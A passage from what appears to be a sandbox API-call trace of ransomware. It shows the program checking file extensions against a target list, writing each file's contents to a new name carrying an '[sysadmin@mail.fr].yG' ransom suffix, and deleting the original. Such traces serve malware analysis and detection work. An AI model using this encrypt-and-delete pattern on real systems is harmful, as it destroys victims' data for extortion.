	[0042.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.903] lstrlenW (lpString=".1cd") returned 4
	[0042.903] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.903] lstrlenW (lpString=".jpg") returned 4
	[0042.903] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.903] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.903] lstrlenW (lpString="eula.rtf") returned 8
	[0042.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.904] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=12687) returned 1
	[0042.904] CloseHandle (hObject=0x2fc) returned 1
	[0042.904] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0042.904] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.904] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.904] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.904] GetLastError () returned 0x0
	[0042.904] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x318f, lpOverlapped=0x0) returned 1
	[0042.969] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3190, lpOverlapped=0x0) returned 1
	[0042.970] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.970] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.970] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.970] CloseHandle (hObject=0x2f0) returned 1
	[0042.971] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.971] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.972] CloseHandle (hObject=0x2fc) returned 1
	[0042.972] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.972] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1
	[0042.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.972] lstrlenW (lpString=".doc") returned 4
	[0042.972] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.972] lstrlenW (lpString=".docx") returned 5
	[0042.972] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.972] lstrlenW (lpString=".pdf") returned 4
	[0042.972] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString=".xls") returned 4
	[0042.973] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.973] lstrlenW (lpString=".xlsx") returned 5
	[0042.973] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.973] lstrlenW (lpString=".ppt") returned 4
	[0042.973] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.973] lstrlenW (lpString=".zip") returned 4
	[0042.973] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.973] lstrlenW (lpString=".rar") returned 4
	[0042.973] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString=".bz2") returned 4
	[0042.973] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString=".7z") returned 3
	[0042.973] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.973] lstrlenW (lpString=".dbf") returned 4
	[0042.973] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.973] lstrlenW (lpString=".1cd") returned 4
	[0042.973] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.973] lstrlenW (lpString=".jpg") returned 4
	[0042.973] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.973] lstrlenW (lpString=".doc") returned 4
	[0042.973] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString=".docx") returned 5
	[0042.973] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.973] lstrlenW (lpString=".pdf") returned 4
	[0042.973] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.973] lstrlenW (lpString=".xls") returned 4
	[0042.973] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.973] lstrlenW (lpString=".xlsx") returned 5
	[0042.974] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.974] lstrlenW (lpString=".ppt") returned 4
	[0042.974] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.974] lstrlenW (lpString=".zip") returned 4
	[0042.974] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.974] lstrlenW (lpString=".rar") returned 4
	[0042.974] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.974] lstrlenW (lpString=".bz2") returned 4
	[0042.974] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.974] lstrlenW (lpString=".7z") returned 3
	[0042.974] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.974] lstrlenW (lpString=".dbf") returned 4
	[0042.974] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.974] lstrlenW (lpString=".1cd") returned 4
	[0042.974] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0042.974] lstrlenW (lpString=".jpg") returned 4
	[0042.974] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.974] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.974] lstrlenW (lpString="eula.rtf") returned 8
	[0042.974] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.057] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3046) returned 1
	[0043.057] CloseHandle (hObject=0x2e4) returned 1
	[0043.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0043.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.057] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.058] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0043.058] GetLastError () returned 0x0
	[0043.058] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xbe6, lpOverlapped=0x0) returned 1
	[0043.277] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0043.278] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.278] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.278] SetEndOfFile (hFile=0x304) returned 1
	[0043.278] CloseHandle (hObject=0x304) returned 1
	[0043.279] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.279] SetEndOfFile (hFile=0x2e4) returned 1
	[0043.279] CloseHandle (hObject=0x2e4) returned 1
	[0043.279] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.280] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1
	[0043.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.280] lstrlenW (lpString=".doc") returned 4
	[0043.280] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.280] lstrlenW (lpString=".docx") returned 5
	[0043.280] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.280] lstrlenW (lpString=".pdf") returned 4
	[0043.280] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.280] lstrlenW (lpString=".xls") returned 4
	[0043.280] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.280] lstrlenW (lpString=".xlsx") returned 5
	[0043.280] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.280] lstrlenW (lpString=".ppt") returned 4
	[0043.280] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.280] lstrlenW (lpString=".zip") returned 4
	[0043.280] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.280] lstrlenW (lpString=".rar") returned 4
	[0043.280] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.280] lstrlenW (lpString=".bz2") returned 4
	[0043.280] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.280] lstrlenW (lpString=".7z") returned 3
	[0043.281] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString=".dbf") returned 4
	[0043.281] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString=".1cd") returned 4
	[0043.281] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString=".jpg") returned 4
	[0043.281] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString=".doc") returned 4
	[0043.281] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString=".docx") returned 5
	[0043.281] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.281] lstrlenW (lpString=".pdf") returned 4
	[0043.281] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString=".xls") returned 4
	[0043.281] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.281] lstrlenW (lpString=".xlsx") returned 5
	[0043.281] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.281] lstrlenW (lpString=".ppt") returned 4
	[0043.281] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString=".zip") returned 4
	[0043.281] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.281] lstrlenW (lpString=".rar") returned 4
	[0043.281] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString=".bz2") returned 4
	[0043.281] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString=".7z") returned 3
	[0043.281] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.281] lstrlenW (lpString=".dbf") returned 4
	[0043.281] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.282] lstrlenW (lpString=".1cd") returned 4
	[0043.282] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0043.282] lstrlenW (lpString=".jpg") returned 4
	[0043.282] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.282] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.282] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.282] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=80738) returned 1
	[0043.282] CloseHandle (hObject=0x2e4) returned 1
	[0043.282] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0043.282] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.282] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.282] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0043.283] GetLastError () returned 0x0
	[0043.283] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x13b62, lpOverlapped=0x0) returned 1
	[0043.341] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13b70, lpOverlapped=0x0) returned 1
	[0043.343] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.343] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.343] SetEndOfFile (hFile=0x304) returned 1
	[0043.343] CloseHandle (hObject=0x304) returned 1
	[0043.346] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.346] SetEndOfFile (hFile=0x2e4) returned 1
	[0043.347] CloseHandle (hObject=0x2e4) returned 1
	[0043.347] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.348] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1
	[0043.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.348] lstrlenW (lpString=".doc") returned 4
	[0043.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.348] lstrlenW (lpString=".docx") returned 5
	[0043.348] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.348] lstrlenW (lpString=".pdf") returned 4
	[0043.348] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.348] lstrlenW (lpString=".xls") returned 4
	[0043.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.348] lstrlenW (lpString=".xlsx") returned 5
	[0043.348] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.348] lstrlenW (lpString=".ppt") returned 4
	[0043.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.348] lstrlenW (lpString=".zip") returned 4
	[0043.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.348] lstrlenW (lpString=".rar") returned 4
	[0043.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.348] lstrlenW (lpString=".bz2") returned 4
	[0043.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString=".7z") returned 3
	[0043.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.349] lstrlenW (lpString=".dbf") returned 4
	[0043.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.349] lstrlenW (lpString=".1cd") returned 4
	[0043.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.349] lstrlenW (lpString=".jpg") returned 4
	[0043.349] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.349] lstrlenW (lpString=".doc") returned 4
	[0043.349] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString=".docx") returned 5
	[0043.349] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.349] lstrlenW (lpString=".pdf") returned 4
	[0043.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString=".xls") returned 4
	[0043.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString=".xlsx") returned 5
	[0043.349] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.349] lstrlenW (lpString=".ppt") returned 4
	[0043.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.349] lstrlenW (lpString=".zip") returned 4
	[0043.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.349] lstrlenW (lpString=".rar") returned 4
	[0043.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString=".bz2") returned 4
	[0043.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.349] lstrlenW (lpString=".7z") returned 3
	[0043.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.350] lstrlenW (lpString=".dbf") returned 4
	[0043.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.350] lstrlenW (lpString=".1cd") returned 4
	[0043.350] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0043.350] lstrlenW (lpString=".jpg") returned 4
	[0043.350] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.350] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.350] lstrlenW (lpString="eula.rtf") returned 8
	[0043.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.417] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=54456) returned 1
	[0043.417] CloseHandle (hObject=0x2e4) returned 1
	[0043.418] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0043.418] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.418] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.418] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
